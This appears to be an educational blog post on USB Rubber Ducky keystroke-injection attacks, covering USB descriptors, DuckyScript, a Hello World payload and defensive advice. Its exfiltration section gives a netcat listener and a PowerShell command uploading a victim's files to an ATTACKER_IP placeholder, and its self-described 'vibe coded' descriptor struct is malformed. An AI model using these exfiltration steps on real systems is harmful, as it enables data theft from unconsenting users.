Duck, Duck… Hack
USB HID Attacks
USB Rubber Ducky is a small device that looks like a regular USB flash drive but acts like a keyboard. It's used for penetration testing, security research, automated tasks, demos, and social-engineering attacks to test an organization's defenses.
Disguised as removable storage, the device uses USB Human Interface Device (HID) emulation so preloaded scripts can drive the target machine automatically. When plugged into a computer, it is recognized as a keyboard (Human Interface Device) and can rapidly inject malicious keystrokes or commands at superhuman speeds, automating attacks such as backdoor creation, data theft, or other exploits.
This introduced Keystroke Injection in 2010 with the USB Rubber Ducky. This technique, developed by founder Darren Kitchen, was his weapon of choice for automating mundane tasks at his IT job — fixing printers, network shares and the like. Today, the USB Rubber Ducky is a hacker culture icon, synonymous with the keystroke injection technique it pioneered.
Key Features
The USB Rubber Ducky was developed by Hak5, a well-known cybersecurity and penetration testing company founded by Darren Kitchen and is an iconic tool in hacker culture, embraced by cybersecurity professionals for its effectiveness.
It uses its own scripting language called DuckyScript to craft payloads ranging from simple automated tasks to highly advanced attacks.
Because computers inherently trust keyboards, the device can bypass many security controls that would otherwise prevent untrusted devices from executing code.
How it works
When connected, the device identifies itself to the system as a keyboard (HID), not as a storage device, bypassing many traditional security bans on removable media.
Attackers load a script, written in the DuckyScript programming language, onto the Rubber Ducky via a microSD card.
Upon insertion, the device automates keystrokes, rapidly executing commands such as opening PowerShell/Terminal, downloading malware, creating new users, changing settings, or stealing credentials.
The process is silent, fast (superhuman typing speed) and often goes unnoticed, as these commands look like ordinary keyboard input to the operating system and security software.
Workflow
i] Payload Preparation
The attacker writes a script in DuckyScript to automate desired actions (e.g., opening command prompt, typing commands).
The DuckyScript is compiled into a
.binpayload, then loaded onto the device’s microSD card.
ii] Device Plugged In
- Upon insertion, the microcontroller initializes, sometimes after a short delay for stable recognition.
iii] Emulation and Execution
The microcontroller reads the binary payload from the microSD card and "types" the commands via the USB interface by emulating keyboard strokes.
Why binary payload?
Duckyscript is compiled to a
.binof USB HID report sequences (scancodes + timing)Precompiled binaries remove interpreter overhead, giving deterministic, low-latency keystroke injection
Binaries provide precise timing and layout-specific scancodes, improving reliability across OS’s and locales
- These keystrokes occur at superhuman speed, automating complex tasks almost instantly and usually avoiding software-based detection because they appear as normal keyboard input.
iv] Command Completion
- As the attack or automation routine is completed, after which the Rubber Ducky remains idle or waits for further input.
Example Attack
A tester can program the Rubber Ducky to open a command prompt, disable defenses, install a backdoor and exfiltrate passwords. When plugged into an unlocked PC, the device completes the entire sequence in seconds without any visible alerts. This combination of hardware impersonation and scripting enables the Rubber Ducky to effectively bypass many conventional security measures,Because the host sees it as a trusted keyboard and the payload is precompiled for precise timing, endpoint protections that rely on simple device checks or delayed behavioral analysis often fail to catch it that narrow execution window and the device’s low footprint make detection difficult.
For those reasons, strict USB device policies, endpoint controls that validate device identity and targeted user awareness training are important countermeasures.
Inside the Rubber Ducky
Microcontroller: Acts as the brain of the device, interpreting and executing encoded payload files stored on the microSD. Mostly Atmel’s 32-bit AVR microcontroller, specifically the AT32UC3B1256
MicroSD Card: Holds the payload (script) in binary format. The script must be written in DuckyScript, then compiled into a format the microcontroller understands
USB Interface: Lets the device physically connect to and communicate with the target computer, presenting itself as an keyboard
What Leads It to Mimic a Keyboard?
The Rubber Ducky tricks the computer into thinking it's a real keyboard by using a special microcontroller programmed with USB descriptors set to the keyboard class. When plugged in, the microcontroller provides these descriptors.
Descriptors: USB descriptors are a specific example of the general idea of a descriptor: they’re small metadata structures that tell the host what a USB device is and how to communicate with it (device type, vendor/product IDs, configurations, interfaces, endpoints, supported protocols, etc.).
In general, a descriptor describes a resource (files, devices, sockets, memory) by providing the metadata the system needs to use that resource.so the OS loads generic keyboard drivers and instantly trusts it as safe input without requiring user approval.
Once accepted, the Rubber Ducky rapidly injects keystroke commands using preloaded scripts, exploiting the universal trust placed in keyboards by computers and bypassing restrictions applied to normal USB drives or storage devices. The attack is fast, automated and works because most operating systems are designed to automatically trust and use any connected HID device like a legitimate keyboard.
What are USB Descriptors?
A USB descriptor is a structured set of data embedded in every USB device that tells a host computer what the device is, how it should be used and what resources it needs. When a USB device like the Rubber Ducky is plugged in, the computer reads these descriptors during a process called enumeration to decide how to interact with that device.
How USB Descriptors Work
When the device connects, the host requests descriptor data to identify and configure the device.
Descriptor Types:
Device Descriptor: General info about the device (USB version, Vendor ID, Product ID, device class)
Configuration Descriptor: Power needs and the number of available interfaces
Interface Descriptor: Describes each function of the device (e.g., identifying as a keyboard via its HID class)
Endpoint Descriptor: Specifies communication channels (like input or output endpoints)
String Descriptor: Optional, provides human-readable info (product name, manufacturer)
Role in Device Recognition: The device descriptor and interface descriptor (especially with the correct USB class code for a keyboard — HID: 0x03) cause the computer’s OS to identify and trust the device as a keyboard automatically.
Example: Device Descriptor Structure
Note: This is vibe coded and only for learning purposes
typedef struct USB_DEVICE_DESCRIPTOR myHIDKeyboard = {
.bLength = 0x12,
.bDescriptorType = 0x01,
.bcdUSB = 0x0200,
.bDeviceClass = 0x03, // This sets HID class
.bDeviceSubClass = 0x01, // Boot interface
.bDeviceProtocol = 0x01, // Keyboard
.bMaxPacketSize0 = 0x40,
.idVendor = 0x1234,
.idProduct = 0x5678,
.bcdDevice = 0x0100,
.iManufacturer = 0x01,
.iProduct = 0x02,
.iSerialNumber = 0x00,
.bNumConfigurations = 0x01
} USB_DEVICE_DESCRIPTOR;
bDeviceClass set to 0x03 means HID (keyboard/mouse class). If you change bDeviceClass to 0x08 (Mass Storage), the descriptor makes the OS mount it as a USB drive and use storage-specific actions.
- idVendor and idProduct are unique identifiers for the manufacturer and device.
Key Functions
Identification: Allows OS to load the correct drivers automatically.
Power Management: Informs host of device power needs.
Security and Control: The OS uses these to apply any whitelisting/blacklisting or security policies.
Why It Matters for Rubber Ducky:
The magic that allows the Rubber Ducky to impersonate a keyboard lies in something called USB descriptors. The Rubber Ducky uses custom firmware to set its descriptors, claiming to be a standard USB keyboard. Because of these descriptors, the OS trusts it as a legitimate input device without special permission, even though it is programmed to inject malicious keystrokes.
These descriptors including device/class identifiers, vendor/product IDs, and HID report descriptors cause the host to load keyboard drivers and accept input immediately, allowing the precompiled payload to run stealthily as soon as the device is attached.
In summary, USB descriptors are critical metadata tables programmed into a device’s firmware that define how a host system recognizes, configures and communicates with the device.
Scripting Languages for Rubber Ducky
The coding of a Rubber Ducky device involves two main parts: the DuckyScript payload (written by the user) and the firmware on the microcontroller that reads the payload and injects keystrokes.
Steps
Write the script and save as
inject.txt.Use DuckEncoder tool to convert
inject.txttoinject.bin.Upload
inject.binon the Rubber Ducky.
The .bin file (usually named inject.bin) is a binary file that contains the encoded commands for the Rubber Ducky to execute. This format is necessary because the Rubber Ducky’s microcontroller cannot read plain text; it only understands binary instructions converted from DuckyScript.
It encodes precise HID scancodes and timing into a compact format so keystrokes execute reliably and quickly across different systems.The .bin file is placed on the device, which reads and injects the encoded keystrokes when plugged in, automating the attack.
Scripting Language
The language used for writing commands and payloads for the Rubber Ducky is called DuckyScript. DuckyScript is a simple scripting language designed specifically for the Rubber Ducky to automate keystroke injection and keyboard actions. Designed to be human‑readable, it uses concise commands and timing directives so scripts map directly to keyboard actions
Each line in a DuckyScript file represents a command (like STRING, ENTER, GUI r, etc.), which the device processes and types as if it were a real keyboard.
Typical Usage
Use a plain text editor to write your DuckyScript payload (commands).
Use a converter tool (like DuckEncoder) to convert your
.txtscript into a.binfile (inject.bin).Use an SD card reader to copy the
inject.binfile onto the microSD card for the Rubber Ducky.Insert the SD card into the device; when plugged into the target computer, the Rubber Ducky will execute the payload.
Keep payloads simple: use directives like DELAY, DEFAULT_DELAY, REPEAT, and REM; account for keyboard-layout and OS differences; test in a VM or lab, and only run scripts where you have explicit permission.
Hello World Example in DuckyScript
# Payload Hello World
# A payload for testing the USB Rubber Ducky’s functionality to display text Hello World!
# Script Starts below
DELAY 3000
GUI r
DELAY 500
STRING notepad
DELAY 500
ENTER
DELAY 750
STRING Hello World!
ENTER
# Script Ends above
Explanation
DELAY 3000: Waits for 3 seconds before starting, giving the OS time to recognize the device
GUI r: Presses Windows logo key + r, opening the Run dialog
DELAY 500: Waits 0.5 seconds
STRING notepad: Types "notepad" in the Run box
DELAY 500: Waits 0.5 seconds
ENTER: Hits enter, opening Notepad
DELAY 750: Waits 0.75 secons for Notepad to open
STRING Hello World!: Types "Hello World!" in Notepad
ENTER: Press Enter to go to a new line
Setting up a data collection server
A server will be running on the attacker’s machine and the victim’s machine using the script injected by Rubber Ducky will connect to the attacker's IP address and exfiltrate the files.
Key Points:
The server's IP address and port number must be included in the Rubber Ducky payload/script so the victim knows where to upload or transfer the files.
For example:
- In a PowerShell or CMD command, the script will reference
http://ATTACKER_IP:PORTor the relevant FTP address.
- In a PowerShell or CMD command, the script will reference
This way, once the Ducky runs, the victim's machine initiates the outbound connection and the attacker's server receives the data
# Netcat (TCP Listener)
nc -lvnp 4444 > received_file.txt
Python HTTP Server
For browser/PowerShell POST/PUT uploads:
Example code:
import http.server import socketserver import os import cgi # Configure port and upload directory PORT = 8000 UPLOAD_DIR = os.path.join(os.getcwd(), 'uploads') class UploadHandler(http.server.BaseHTTPRequestHandler): # (Methods do_POST, do_PUT, handle_upload, and do_GET are defined here) pass if __name__ == "__main__": # (Server setup and startup code is here) pass
and run python3 simple_http_server.py 8080
Victim's command (PowerShell example):
Invoke-WebRequest -Uri http://ATTACKER_IP:8080/upload -Method PUT -InFile C:\path\
Conclusion
The USB Rubber Ducky, disguised as an ordinary flash drive, is a powerful tool that leverages computers' inherent trust in keyboards. With a simple DuckyScript payload and a microcontroller that emulates a keyboard over USB, it can execute attacks or automate tasks at superhuman speed. By presenting a USB with some device descriptors that identify it as a standard keyboard and sending precompiled report sequences (scancodes + timing), the host immediately accepts input without user prompts — so the payload runs instantly and reliably once plugged in.
For security researchers, it’s an invaluable tool for testing organizational defenses. For everyone else, it’s a sobering reminder of the importance of physical security and implementing strict device control policies. Never trust a USB device you don't know.
Resources:
These payload repositories and encoder tools can help you learn and build Rubber Ducky payloads. The payload repos show ready-made scripts and examples; the encoder tools convert Duckyscript into the .bin payloads the device uses. Only test on systems you own or where you have explicit permission.
Payload Repositories:
Encoder Tools:
![Lecture 4 - Rediscovering Process Scheduling [Part - 1]](/_next/image?url=https%3A%2F%2Fcdn.hashnode.com%2Fres%2Fhashnode%2Fimage%2Fupload%2Fv1765604682888%2F80e6cf20-aded-4aac-8c75-affdd35615b2.jpeg&w=3840&q=75)
![Lecture 3 - Reinventing MMU [Part - 2]](/_next/image?url=https%3A%2F%2Fcdn.hashnode.com%2Fres%2Fhashnode%2Fimage%2Fupload%2Fv1763234243271%2F6bb1c737-9def-4975-a06d-7ca59791c881.png&w=3840&q=75)
![Lecture 2 - Reinventing MMU [Part - 1]](/_next/image?url=https%3A%2F%2Fcdn.hashnode.com%2Fres%2Fhashnode%2Fimage%2Fupload%2Fv1762492010507%2F7db0bf79-265d-41bc-990f-0cb2c68e61f2.jpeg&w=3840&q=75)